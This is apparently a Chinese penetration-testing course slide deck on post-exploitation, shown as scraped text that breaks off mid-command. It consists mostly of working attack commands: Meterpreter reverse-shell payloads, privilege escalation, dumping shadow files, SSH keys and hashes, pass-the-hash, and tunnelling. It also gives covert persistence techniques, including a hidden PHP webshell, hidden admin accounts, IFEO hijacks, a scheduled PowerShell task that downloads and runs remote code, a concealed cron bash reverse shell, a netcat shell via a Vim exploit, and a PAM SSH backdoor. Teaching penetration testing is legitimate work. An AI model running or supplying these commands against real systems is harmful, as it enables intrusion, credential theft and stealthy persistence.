第6章-6.3-后渗透测试实践_第1页
第6章-6.3-后渗透测试实践_第2页
第6章-6.3-后渗透测试实践_第3页
第6章-6.3-后渗透测试实践_第4页
第6章-6.3-后渗透测试实践_第5页
已阅读5页,还剩138页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

后渗透测试实践在拿到了一系列系统的访问权限或者webshell后,接下来就进入一个很重要的阶段,即后渗透测试阶段。在汇报渗透测试结果时,客户更想得到的成果是本次渗透能够影响目标公司业务运行的战利品,而不仅仅是一系列系统的访问权限,所以需要通过后渗透测试阶段扩大战果。前言权限提升信息收集横向渗透后门持久化痕迹清理Windows令牌窃取假设我们通过钓鱼手段,获取了一个meterpreter(管理员权限运行)#msf生成后门msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=31LPORT=4444-fexe>abc.exe#开启msf监听useexploit/multi/handler

setpayloadwindows/x64/meterpreter/reverse_tcpsetlhost31setlport4444run

Windows令牌窃取#在meterpreter里加载loadincognitolist_tokens-u#列出tokenWindows令牌窃取#使用令牌impersonate_token"NTAUTHORITY\SYSTEM"Windows配置错误提权检测目标主机是否存在该漏洞PS:wmicserviceget'name,displayname,pathname,startmode'|findstr/i"Auto"|findstr/i/v"C:\Windows"|findstr/i/v'[\"]‘cmd:wmicservicegetname,displayname,pathname,startmode|findstr/i"Auto"|findstr/i/v"C:\Windows"|findstr/i/v"""Windows配置错误提权存在不带引号的服务路径2.检测路径是否具有可写入权限icacls"C:\phpstudypro"上传文件至C:\phpstudypro\并重命名为phpstudy.exe,等待服务重启或者手动重启服务scstopphpStudySrvscstartphpStudySrv可以看到权限是systemWindows配置错误提权Windows不安全的注册表权限配置使用powershell.exe查看是否有可以控制的注册表项Get-Acl-Pathhklm:\System\CurrentControlSet\services\*|selectPath,AccessToString|Format-List>1.txtWindows不安全的注册表权限配置修改注册表regadd"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\phpStudySrv"/tREG_EXPAND_SZ/vImagePath/d"C:\beacon_wu.exe"/fWindows不安全的注册表权限配置使用cmd重启服务scstopphpStudySrvscstartphpStudySrv上线成功Windowsbypassuac1.bypassUAC项目:/hfiref0x/UACME项目里包含了很多不同种类的方法,其中DllHijack、Registrykeymanipulation、ElevatedCOMinterface这三种方法是项目中出现的较多且好用的,对应23、33、41这三个方法号Akagi64.exe41Windowsbypassuac2.Msfbypassuac模块exploit/windows/local/ask,此模块也可以用来绕过UAC,会在目标电脑弹框,等待管理员输入密码后上线Windowsbypassuac3.cs模块LinuxSuid提权错误配置sudochmodu+s/usr/bin/find使得find具有root权限以下命令可以发现系统上运行的所有SUID可执行文件#不同系统适用于不同的命令,一个一个试find/-perm/4000–lsfind/-perm-u=s-typef2>/dev/nullfind/-userroot-perm-4000-print2>/dev/nullfind/-userroot-perm-4000-execls-ldb{}\;LinuxSUDO提权sudo-l查看sudo权限可以看到这两个命令,在当前用户下可以用sudo执行,且不需要密码提权命令sudofind/home-exec/bin/bash\;sudoziphash.ziphash.txt-T--unzip-command="sh-c/bin/bash"Linux内核提权内核提权基本步骤1、收集信息:确认目标主机Linux发行版本号、内核版本号2、查找漏洞:根据发行版本号和内核版本号搜索可利用的内核漏洞3、执行攻击:下载漏洞利用EXP、编译EXP、执行EXPLinux内核提权寻找EXP方式1:查看系统发⾏版本cat/etc/issuecat/etc/*-release查看内核版本信息uname–a搜索该版本漏洞searchsploitubuntu3.13.0(searchsploit-u#更新数据库)Exp存储目录/usr/share/exploitdb/exploits/Linux内核提权寻找EXP方式2:信息搜集中的漏洞探针linux-exploit-suggesterlinux-exploit-suggester-2Linux内核提权寻找EXP方式3:/搜索EXPLinux内核提权1.脏牛提权LinuxKernel>=2.6.22的所有linux主机(没打过补丁的)该范围内的核心发布为2007-2016年10月18日,所以该时段发布的版本是在影响范围内的2.overlayfs提权OverlayFS是一个面向Linux的文件系统服务,是一种类似aufs的一种堆叠文件系统,它依赖并建立在其它的文件系统上(如ext4fs和xfs等),并不直接参与磁盘空间结构的划分。CVE-2021-3493漏洞是Linux内核中overlayfs文件系统中的Ubuntu特定问题,在Ubuntu中没有正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu带有一个支持非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来进行提权操作3.CVE-2021-4034提权CVE-2021-4034是一个SUID提权漏洞,利用具有SUID-root权限的pkexec,精心构造参数及运行环境,使其加载我们准备好提权的so。权限提升信息收集横向渗透后门持久化痕迹清理信息收集后渗透测试阶段的信息收集主要包括以下内容:系统管理员密码。其他用户Session、3389和ipc连接记录,各用户回收站信息收集。浏览器密码和浏览器Cookies的获取(IE\Chrome\Firefox等)。Windows操作系统上连接无线网络的密码获取、数据库密码获取。host文件获取和dns缓存信息收集等。杀软、补丁、进程、网络代理wpad信息,软件列表信息。计划任务、账号密码策略与锁定策略、共享文件夹、Web服务器配置文件。VPN历史密码、teamview密码、启动项和iislog等。。。。Windows权限管理1.访问控制Windows可以通过相互关联的身份验证和授权机制来控制系统和网络资源的使用。在用户通过身份验证后,Windows操作系统使用内置的授权和访问控制技术来实现资源的保护,在确定用户身份后,确认用户是否具有访问资源的正确权限。授权用户、组和计算机访问网络或计算机上的对象的过程。构成访问控制的关键概念是权限、对象所有权、权限继承、用户权限和对象审计。Windows权限管理2.特权特权是一个帐户(如用户或组帐户)在本地计算机上执行各种系统相关操作(如关闭系统、加载设备驱动程序或更改系统时间)的权限。系统管理员为用户和组帐户分配特权,系统根据安全对象的DACL中的ACE授予的访问权限授予或拒绝对安全对象的访问。/cdaniu/p/15630284.html

每个系统都有一个帐户数据库,该数据库存储用户和组帐户拥有的特权。当用户登录时,系统生成一个访问令牌,其中包含用户权限的列表,包括授予用户或用户所属组的权限。注意,这些特权只适用于本地计算机;域帐户可以在不同的计算机上拥有不同的特权。

当用户尝试执行特权操作时,系统检查用户的访问令牌,以确定用户是否拥有必要的特权,如果拥有,则检查是否启用了特权。如果测试失败,系统将不再执行该操作。Windows权限管理用户与用户组Windows权限管理3.UAC

用户帐户控制(UAC)有助于防止恶意软件损坏PC,并帮助组织部署更好管理的桌面。使用UAC,应用程序和任务始终在非管理员帐户的安全上下文中运行,除非管理员专门授权管理员级别的系统访问权限。UAC可以阻止未经授权的应用程序的自动安装并防止无意中更改系统设置。

判断方式(注册表查询)REGQUERYHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\/vConsentPromptBehaviorAdminREGQUERYHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\/vPromptOnSecureDesktop都为0是关闭状态Windows权限管理4.令牌

令牌(AccessTokens)是Windows操作系统安全性的一个概念。

当用户登陆时,系统创建一个访问令牌,里面包含登录进程返回的SID和由本地安全策略分配给用户和用户的安全组的特权列表。

系统使用令牌控制用户可以访问哪些安全对象,并控制用户执行相关系统操作的能力。Windows有两种令牌:Delegationtoken(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)Impersonationtoken(模拟令牌):用于非交互登录(利用netuse访问共享文件夹)注意:两种token只在系统重启后清除。具有Delegationtoken的用户在注销后,该Token将变成Impersonationtoken,依旧有效信息收集常用命令linux内核、操作系统版本什么是发行类型?什么版本的?cat/etc/issuecat/etc/*-releasecat/etc/lsb-release#Debianbasedcat/etc/redhat-release#Redhatbased什么是内核版本?是64位吗?cat/proc/versionuname-auname-mrsrpm-qkerneldmesg|grepLinuxls/boot|grepvmlinuz-linux环境变量信息从环境变量中可以收集到什么信息?环境变量中可能存在密码或API密钥:cat/etc/profilecat/etc/bashrccat~/.bash_profilecat~/.bashrccat~/.bash_logoutenvset如果对该变量内的任何文件夹都具有写权限,则可以劫持某些库或二进制echo$PATHlinux服务进程哪些服务正在运行?哪个服务具有哪个用户特权?psauxps-eftopcat/etc/servicesroot正在运行哪些服务?在这些易受攻击的服务中psaux|greprootps-ef|greproot安装了哪些应用程序?他们是什么版本的?他们目前在运行吗?ls-alh/usr/bin/ls-alh/sbin/dpkg-lrpm-qals-alh/var/cache/apt/archivesOls-alh/var/cache/yum/服务设置是否配置错误?是否附有(脆弱的)插件?cat/etc/syslog.confcat/etc/chttp.confcat/etc/lighttpd.confcat/etc/cups/cupsd.confcat/etc/inetd.confcat/etc/apache2/apache2.confcat/etc/my.confcat/etc/httpd/conf/httpd.confcat/opt/lampp/etc/httpd.confls-aRl/etc/|awk‘$1~/^.*r.*/’linux计划任务计划了哪些工作?(计划任务)crontab-lls-alh/var/spool/cronls-al/etc/|grepcronls-al/etc/cron*cat/etc/cron*cat/etc/at.allowcat/etc/at.denycat/etc/cron.allowcat/etc/cron.denycat/etc/crontabcat/etc/anacrontabcat/var/spool/cron/crontabs/root服务设置是否配置错误?是否附有(脆弱的)插件?cat/etc/syslog.confcat/etc/chttp.confcat/etc/lighttpd.confcat/etc/cups/cupsd.confcat/etc/inetd.confcat/etc/apache2/apache2.confcat/etc/my.confcat/etc/httpd/conf/httpd.confcat/opt/lampp/etc/httpd.confls-aRl/etc/|awk‘$1~/^.*r.*/’linux敏感文件是否有纯文本用户名和/或密码?检查Web服务器连接到数据库的文件(config.php或类似文件)检查数据库以获取可能被重用的管理员密码检查弱密码grep-iuser[filename]grep-ipass[filename]grep-C5"password"[filename]find.-name"*.php"-print0|xargs-0grep-i-n"var$password"#Joomlacat/etc/passwdcat/etc/groupcat/etc/shadowls-alh/var/mail/idwhocat/etc/passwd|cut-d:-f1#Listofusersgrep-v-E"^#"/etc/passwd|awk-Fa:'$3==0{print$1}'cat/etc/sudoerssudo-l查看秘钥文件cat~/.ssh/authorized_keyscat~/.ssh/identity.pubcat~/.ssh/identitycat~/.ssh/id_rsa.pubcat~/.ssh/id_rsacat~/.ssh/id_dsa.pubcat~/.ssh/id_dsacat/etc/ssh/ssh_configcat/etc/ssh/sshd_configcat/etc/ssh/ssh_host_dsa_key.pubcat/etc/ssh/ssh_host_dsa_keycat/etc/ssh/ssh_host_rsa_key.pubcat/etc/ssh/ssh_host_rsa_keycat/etc/ssh/ssh_host_key.pubcat/etc/ssh/ssh_host_keylinux敏感文件linux网络信息系统具有哪些NIC?它是否连接到另一个网络?/sbin/ifconfig-acat/etc/network/interfacescat/etc/sysconfig/network什么是网络配置设置?我们可以找到关于该网络的哪些信息?DHCP服务器?DNS服务器?网关?cat/etc/resolv.confcat/etc/sysconfig/networkcat/etc/networksiptables-LhostnameDnsdomainname缓存arp-eroute/sbin/route–nee抓包tcpdumptcpdst80andtcpdst5221msf中主要的获取信息模块:post/windows/gather/forensics/enum_drives分区信息post/windows/gather/checkvm判断是否为虚拟机post/windows/gather/enum_services开启了那些服务post/windows/gather/enum_applications已安装的应用post/windows/gather/enum_shares共享信息post/windows/gather/dumplinks最近的操作记录post/windows/gather/enum_patches系统补丁信息scraper脚本winenum脚本权限提升信息收集横向渗透后门持久化痕迹清理横向渗透在漏洞攻击阶段,获得一台服务器的访问权限以后,如果想要获取更大的权限,了解整个网络布局,就需要进行横向渗透(即内网渗透)。内网穿透原理是利用各种隧道技术,以网络防火墙策略允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络。什么是代理代理也被叫做网络代理,是一种比较特殊的网络服务,允许一个终端(通常指客户端)通过这个服务与另一个终端(通常指服务器端)进行非直接的连接。例如:一些网关、路由器等网络设备都具备网络代理的功能。代理服务有利于保障网络终端的隐私或者安全,可以在一定程度上阻止网络攻击(因为通过代理,可以隐藏真正的服务器端/客户端)。代理服务器:一个数据通信中转的功能代理请求过程客户端首先根据代理服务器所使用的代理协议,与代理服务器创建连接,接着按照协议请求对目标服务器创建连接、或者获得目标服务器的指定资源(如:文件)。代理协议SockHTTP正向代理正向代理时,由客户端发送对某一个目标服务器的请求,但是该请求的数据包会先发往代理服务器,代理服务器在中间将请求转发给该目标服务器,目标服务器将结果返回给代理服务器,代理服务器再将结果返回给客户端。使用正向代理时,客户端是需要配置代理服务的地址、端口、账号密码(如有)等才可使用的。正向代理的适用场景访问被禁止的资源(让客户端访问原本不能访问的服务器。可能是由于路由的原因,或者策略配置的原因,客户端不能直接访问某些服务器。为了访问这些服务器,可通过代理服务器来访问)隐藏客户端的地址(对于被请求的服务器而言,代理服务器代表了客户端,所以在服务器或者网络拓扑上,看不到原始客户端)这也是我们挂代理可以减少被发现真实IP的原因进行客户访问控制加速访问资源过滤内容(可以通过代理服务器统一过滤一些危险的指令/统一加密一些内容、防御代理服务器两端的一些攻击性行为)反向代理服务器根据客户端的请求,从其关系的一组或多组后端服务器(如Web服务器)上获取资源,然后再将这些资源返回给客户端,客户端只会得知代理服务器的IP地址,而不知道在代理服务器后面的服务器集群的存在。反向代理整个流程:由客户端发起对代理服务器的请求,代理服务器在中间将请求转发给某一个服务器,服务器将结果返回给代理服务器,代理服务器再将结果返回给客户端。反向代理的适用场景负载均衡提升服务器安全性加密/SSL加速:将SSL加密工作交由配备了SSL硬件加速器的反向代理来完成提供缓存服务,加速客户端访问数据统一压缩节约带宽为网络带宽不好的网络提供服务统一的访问权限控制统一的访问控制突破互联网的封锁为在私有网络下(如局域网)的服务器集群提供NAT穿透及外网发布服务上传下载减速控制…正向代理与反向代理的区别最核心的不同在于代理的对象不同。正向代理是代理客户端,反向代理是代理服务器。而根据这核心的区别,我们也可以记住:代理哪端便可以隐藏哪端。也就是说:正向代理隐藏真实客户端,反向代理隐藏真实服务端。端口转发端口转发也称之为隧道,对流量进行加密后在进行传递。端口转发就是将一个端口上的流量,发送到本机可以访问到的任意主机的端口上,这个端口可以本机的端口也可以是本机可以访问到的任意主机的端口都可以转发到任意一台可以访问到的IP上,通常这个IP是公网IP,方便我们使用。端口映射顾名思义,就是映射端口,就是将一个内网端口映射到公网上的某个端口端口映射与转发的区别端口映射与转发的区别:映射只需要提供映射服务的机器的权限,同时能够访问到需要映射的目标服务即可,转发的话就需要提供两台服务器的权限,建立点对点的服务连接端口转发之LCX//与的4444端口建立通信,并把流量转发到本地的3389端口lcx.exe-slave44443389//监听本地5555端口的流量,将其转发到4444端口lcx.exe-listen44445555//主机A的4444端口监听主机B的请求,并将来自4444端口的请求转发到5555端口端口转发之portmap先在具有公网ip的主机上执行://监听7777端口,将7777端口发送至6666端口,6666端口等待目标绑定服务./portmap-m2-p16666-h2公网主机ip-p27777将22端口绑定到公网机器的6666端口上./portmap-m3-h1-p122-h2公网主机ip-p26666端口映射(本地端口转发)之LCX.EXElcx-tran53目标主机ip3389常用隧道分类VPN(pptp,openvpn,ciscoipsecvpn等等)SSHICMP(icmptunnel)DNS(Chashell)HTTP(reGeorg,ABPTTS,Tunna)Socks5(nps,frp,s5.py)P2P(dog-tunnel)SSH通道通过一台中间SSH服务器去访问内网,可以绕过防火墙的限制。(就是将SSH服务器作为跳板,去访问内部网络)命令如下:ssh-g-LLPORT:RHOST:RPORT-fNLHOST#-L参数表示做本地的端口映射:RHOST和RPORT是目标主机和端口,LPORT是SSH服务器的端口#-f参数表示SSH客户端在后台运行#-N参数表示该连接不做任何操作,仅用于端口转发#-g参数表示允许外来主机连接本地转发端口(不指定的话只允许本地连接)SSH端口转发本地访问:port1就是host:port2(用的更多)ssh-CfNg-Lport1::port2user@host#本地转发访问host:port2就是访问:port1ssh-CfNg-Rport2::port1user@host#远程转发可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口ssh-qTfnN-Lport:dmz_host:hostport-luserremote_ip#正向隧道,监听本地port可以将dmz_host的hostport端口转发到remote_ip的port端口ssh-qTfnN-Rport:dmz_host:hostport-luserremote_ip#反向隧道,用于内网穿透防火墙限制之类SSHsocks代理socket代理:ssh-qTfnN-Dportremotehost在本地起一个端口与远程主机建立连接,通过这个端口的流量就相当于远程主机发出的基于http的转发与socket代理如果目标是在dmz里面,数据除了web其他出不来,便可以利用http进行1、端口转发tuna端口转发(将远程3389转发到本地1234)pythonproxy.py-u/conn.jsp-l1234-r3389-v连接不能中断服务(比如ssh)pythonproxy.py-u/conn.jsp-l1234-r22-v-s转发的3389到本地pythonproxy.py-u/conn.jsp-l1234-a-r3389基于http的转发与socket代理2.socks代理reGeorg攻击机执行脚本,将内网机器流量代理到本地端口pythonreGeorgSocksProxy.py-u01/tunnel.php-p8081EarthWorm工具内网穿透神器:/idlefire/ew跨平台+端口转发+socket代理结合体!#rcsocks客户端,监听端口以及转发端口#rsscoks服务端,指定连接的主机以及端口EarthWorm工具将OWSAP服务器作为代理服务器,VPS作为客户端,去访问内网Ubuntu服务器在VPS客户端执行以下命令:#本地监听1080端口,转发端口设置为10000./ew_for_linux64-srcsocks-l1080-e10000#vim/etc/proxychains.conf 全局代理配置#添加监听的主机以及端口(添加自己主机IP和端口)socks5281080EarthWorm工具在OWASP开启服务端执行以下命令:#连接客户端主机的10000端口./ew_for_Linux32-srssocks-d28-e10000在浏览器配置好socks5代理,即可访问内网服务器MSF开启代理隧道实例MSF生成反向payload#生成payloadmsfvenom-pwindows/meterpreter/reverse_tcpLHOST=28LPORT=4443-felf>msf.elf#设置监听useexploit/multi/handlersetpayloadwindows/meterpreter/reverse_tcpsetlhostsetlport60020run在目标上运行msf.exe文件上线MSF开启代理隧道实例MSF添加路由内网中添加路由主要是充当跳板功能,其实是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的meterpretershell的基础上添加一条去往内网的路由,此路由的下一跳转发,即网关,是MSF攻击平台与被攻击目标建立的一个session会话通过msf添加路由功能,可以直接使用msf去访问原本不能直接访问的内网资源,只要路由可达了,那么我们使用msf的强大功能,想干什么就干什么了跳板实现过程(1)需要有一个已经获取的meterpreter会话;(2)获取内网地址网段(3)在MSF平台上添加去往内网网段的路由MSF开启代理隧道实例在获取一个session会话后1、获取目标内网相关信息MSF开启代理隧道实例添加一个通往/24段的路由runautoroute-s/24运行runautoroute-p查看路由MSF开启代理隧道实例msf中设置代理,background退出meterpreter的shell环境,搜索socks,使用代理模块。useauxiliary/server/socks_proxysetsrvhost39setsrvport1080setversion4aexploitMSF开启代理隧道实例然后配置proxychains的配置文件/etc/proxychains4.conf。MSF开启代理隧道实例然后使用proxychains代理nmap进行主机及端口扫描,命令:proxychainsnmap-Pn-sT-p80-T4/24。//-sT全开扫描,完成三次握手//-Pn不使用ping扫描注意proxychains只对tcp流量有效,udp和icmp都是不能代理转发的横向渗透>regADDHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System/vEnableLUA/tREG_DWORD/d0/f>regADDHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system/vLocalAccountTokenFilterPolicy/tREG_DWORD/d1/f>shutdown-r-t0哈希传递:windows系统下的hash密码格式用户名称:RID:LM-HASH值:NT-HASH值获取Hash值hashdump(需要关闭UAC)post/windows/gather/hashdump关闭UAC横向渗透msf>useexploit/windows/smb/psexecmsfexploit(windows/smb/psexec)>setRHOST32msfexploit(windows/smb/psexec)>setSMBUserJohnmsfexploit(windows/smb/psexec)>setSMBPassaad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0msfexploit(windows/smb/psexec)>setpayloadwindows/meterpreter/reverse_tcpmsfexploit(windows/smb/psexec)>setLHOST28msfexploit(windows/smb/psexec)>exploit哈希传递:psexec模块:exploit/windows/smb/psexec(需要关闭UAC)权限提升信息收集横向渗透后门持久化痕迹清理Windows后门持久化隐藏文件夹及文件1.文件属性2.ADS流3.工具隐藏Windows隐藏文件夹及文件1.文件属性勾选隐藏后,文件会隐藏起来。如果勾选查看选项卡下的隐藏项目,这种方式隐藏的文件将会被显示出来Windows隐藏文件夹及文件2.ADS流NTFS交换数据流(AlternateDataStreams,简称ADS)是NTFS磁盘格式的一个特性。在NTFS文件系统下,每个文件都可以存在多个数据流,意思是除了主文件流之外还可以有许多非主文件流寄宿在主文件流中,这些利用NTFS数据流寄宿并隐藏在系统中的非主文件流我们称之为ADS流文件。虽然我们无法看到ADS流文件,但它们却是真实存在。echo^<?phpecho1111;@eval(echo111111;$_POST['chopper']);?^>>1.php:hidden.jpgWindows隐藏文件夹及文件2.ADS流如果需要访问到该webshell则需要利用文件包含来访问该隐藏文件Windows隐藏文件夹及文件3.工具隐藏EasyFileLocker/efl.htmlWindows系统隐藏账户Netuserhacker$123456/add#添加hacker$隐藏用户Netlocalgroupadministratorshacker$/add#将hacker$用户添加进管理员组中此时虽然使用命令行无法看到hacker$用户,但是通过控制面板依然还是可以看到hacker$账户存在的。为了更好的隐藏新建的账户,还需要进行如下操作。Windows系统隐藏账户首先打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM,点击右键,选择“权限”,将Administrator用户的权限,设置成“完全控制”,然后重新打开注册表,确保可以看到SAM路径下的文件。Windows系统隐藏账户其次前往SAM/Domains/Account/Users/Names处,选择Administrator用户,在右侧的键值处可以找到对应的值如0x1f4,然后从左侧的Users目录下可以找到对应的文件。Windows系统隐藏账户然后从对应的000001F4文件中将键值对F的值复制出来。然后同理找到隐藏账户hacker$所对应的文件,并将从Administrator文件中复制出来的F值粘贴进hacker$文件中。Windows系统隐藏账户最后将hacker$和000003EE从注册表中右键导出,并删除hacker$用户,然后将刚刚导出的两个文件重新导入进注册表中即可实现hacker用户的隐藏。Windows映像劫持在低版本的系统中我们可以替换一些辅助功能文件来达到权限维持的目的,例如在XP系统中,直接替换粘滞键Sethc.exe(最常见的按5下shift)以及Windows+U组合键时启动的utilman.exe程序屏幕键盘:C:\Windows\System32\osk.exe放大镜:C:\Windows\System32\Magnify.exe旁白:C:\Windows\System32\Narrator.exe显示切换器C:\Windows\System32\DisplaySwitch.exe应用切换器:C:\Windows\System32\AtBroker.exeWindows映像劫持XP及2003下的粘滞键后门实验,直接替换目标文件即可cdWINDOWS\system32movesethc.exesethc.exe.bakcopycmd.exesethc.exeWindows映像劫持高版本的windows需要IFEO,即映像劫持。所谓的IFEO就是ImageFileExecutionOptions,直译过来就是映像劫持。它又被称为“重定向劫持”(RedirectionHijack),它和“映像劫持”(ImageHijack,或IFEOHijack)只是称呼不同,实际上都是一样的技术手段。白话来讲就是做某个操作的时候被拦截下来,干了别的事。当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把Debugger参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。Windows映像劫持打开注册表regedit,一直到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\Windows映像劫持以mmc.exe为例,添加键值对:debuggerc:\windows\system32\cmd.exe命令行修改regadd"HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\iexplore.exe"/v"Debugger"/tREG_SZ/d"c:\windows\system32\cmd.exe"/fregadd"HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\Utilman.exe"/v"Debugger"/tREG_SZ/d"c:\windows\system32\cmd.exe"/f实际在运用的时候,可以把这个运行的程序替换为后门程序例如一些远控程序Windows映像劫持在注册表中新增Utilman.exe表项,添加键值对Debugger=“C:\WINDOWS\System32\cmd.exe”在登陆页面上运行win+u,在无需登录的情况下就打开了cmd命令框。Windows开始菜单启动项开始菜单启动项,指示启动文件夹的位置,具体的位置是“开始”菜单中的“所有程序”-“启动”选项:[WIN+R输入]shell:startupC:\Users\用户名称\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup在该菜单下放置可执行文件,等待重启就会自动运行Windows计划任务后门通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。使用以下命令可以一键实现:schtasks/create/scminute/mo1/tn"SecurityScript"/tr"powershell.exe-nop-whidden-c\"IEX((new-objectnet.webclient).downloadstring(\"\"\"31:80/a\"\"\"))\""容易遇到的问题:cmd命令行执行单引号会被替换成双引号故这里使用三个双引号替代。计划脚本每1分钟运行一次。Windows自启动服务后门在Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有SYSTEM权限,非常适合用于后门持久化。我们可以将EXE/DLL等可执行文件注册为服务实现后门持久化。powershell创建服务New-Service-Name"服务名称"-BinaryPathName"可执行文件路径"-Description"服务描述"-StartupTypeAutomaticscstartpentestlabWindows文件关联assoc,显示或修改文件扩展名关联。如果在没有参数的情况下使用,则assoc将显示所有当前文件扩展名关联的列表。assoc[.ext[=[FileType]]]assoc.txt=batfile(以bat方式打开txt文件)用ftype命令显示或修改用在文件扩展名关联中的文件类型。Windows文件关联修改\HKEY_CLASS_ROOT\txtfile\shell\open\command的默认值为我们要执行的程序regadd"HKCR\txtfile\shell\open\command"/ve/tREG_EXPAND_SZ/d"C:\Windows\system32\cmd.exe%1"/flinux隐藏文件及文件夹Linux下建立mkdir.hiddentouch.1.txt在文件夹或者文件名称前加.代表隐藏文件需要通过ls–a才能查看到linux添加普通用户#创建一个用户名guest,密码123456的普通用户useradd-p`opensslpasswd-1-salt'salt'123456`guest#useradd-p方法``是用来存放可执行的系统命令,"$()"也可以存放命令执行语句useradd-p"$(opensslpasswd-1123456)"guest#chpasswd方法useraddguest;echo'guest:123456'|chpasswd#echo-e方法useraddtest;echo-e"123456\n123456\n"|passwdtestlinux一句话添加root用户#创建一个用户名guest,密码123456的root用户useradd-p`opensslpasswd-1-salt'salt'123456`bob2-o-u0-groot-Groot-s/bin/bash-mlinux隐身登录隐身登录系统,不会被last、who、w等指令检测到ssh-Tusername@host/bin/bash-ilinuxssh公钥登陆1.生成密钥对:ssh-keygen-trsa打开终端,使用下面的ssh-keygen来生成RSA密钥和公钥.-t表示type,就是说要生成RSA加密的钥匙.linuxssh公钥登陆生成SSHKey的过程中会要求你指定一个文件来保存密钥,按Enter键使用默认的文件就行了.然后需要输入一个密码来加密你的SSHKey.密码至少要20位长度.SSH密钥会保存在home目录下的.ssh/id_rsa文件中.SSH公钥保存在.ssh/id_rsa.pub文件中.linuxssh公钥登陆2.将SSH公钥上传到Linux服务器可以使用ssh-copy-id命令来完成.ssh-copy-idusername@remote-server也可以将公钥内容直接写入目标服务器的.ssh/authorized_keys文件里linux软链接后门在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录。通俗点来说,一是sshd服务启用PAM认证机制,在/etc/ssh/sshd_config文件中,设置UsePAM为yes。如果不启用PAM,系统严格验证用户密码,不能建立后门。二是在/etc/pam.d/目录下,对应文件里包含"authsufficientpam_rootok.so"配置,只要PAM配置文件中包含此配置即可SSH任意密码登录。对比一下/etc/pam.d/sshd配置文件和/etc/pam.d/su配置文件,不难发现,前者没有包含如上配置,而后者包含该配置。pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。我们查看/etc/pam.d/su文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因。1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。查找可以利用的软连接后门:find/etc/pam.d|xargsgrep"pam_rootok"利用前提:允许PAM认证(默认):cat/etc/ssh/sshd_configlinux软链接后门建立后门:ln-sf/usr/sbin/sshd/usr/local/su;/usr/local/su-oPort=12345执行完之后,任何一台机器sshroot@IP-p12345,输入任意密码,成功登录端口尽量跟业务端口靠近或者一些常见端口以便混淆视听,目录不要设置在/tmp下,可以结合计划任务,或者设置开机启动脚本使用1.记录原来的版本号:ssh–V2.下载对应版本或版本略高一点/ubuntu/+source/openssh/pkg/openssh/pub/OpenBSD/OpenSSH/portable/3.修改源码(sshconnect2.c/auth-passwd.c/monitor.c)linuxopenssh后门linuxopenssh后门linuxopenssh后门linuxopenssh后门linuxopenssh后门3.更改版本号version.h4.编译安装linuxSUID后门linuxcron后门Tips:ubuntu默认tty为dash,不能用来反弹或者对外连接,需要修改默认tty为bash方式如下:sudodpkg-reconfiguredash然后选No查看切换后的结果ls-al/bin/sh1.准备反弹脚本test.sh#!/bin/bashbash-i>&/dev/tcp/31/88990>&1赋予执行权限:chmod+sxtest.sh2.隐藏效果:(printf"*/1****/bin/bash/root/test.sh;\rnocrontabfor`whoami`%100c\n")|crontab–\r导致显示截断,使得后面的内容逐个字符覆盖前面的字符;100%c的作用是格式化输出一个字符,前面99个空格补齐。3.Vim/var/spool/cron/crontabs/rootlinuxcron后门受影响版本:Vim<8.1.1365,Neovim<0.3.6创建反弹shell.txtecho':!rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|nc318888>/tmp/f||"vi:fen:fdm=expr:fde=assert_fails("source\!\\%"):fdl=0:fdt="'>shell.txtlinuxvim后门(CVE-2019-12735)linuxICMP后门借助工具实现:/andreafabrizi/prismRootkits最早是一组用于UNIX操作系统的工具集,黑客使用它们隐藏入侵活动的痕迹,它能在操作系统中隐藏恶意程序。这些程序在植入系统后,rootkits会将它们隐藏起来,它能隐藏任何恶意程序过程、文件夹、注册码。相关项目:/milabs/awesome-linux-rootkitsReptile:/f0rb1dd3n/Reptile隐藏进程,提升权限,反弹shell,隐藏TCP/UDP链接,隐藏目录linuxrootkit后门strace是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围通过其他方式拿到shell,通过history、流量抓包、或者本地没有翻到密码的情况。我们想要获取当前主机的密码,或者通过这台主机连接到其他主机的密码。1.执行下列命令,记录密码到/tmp/.sshd.log(strace-f-F-p`psaux|grep"sshd-D"|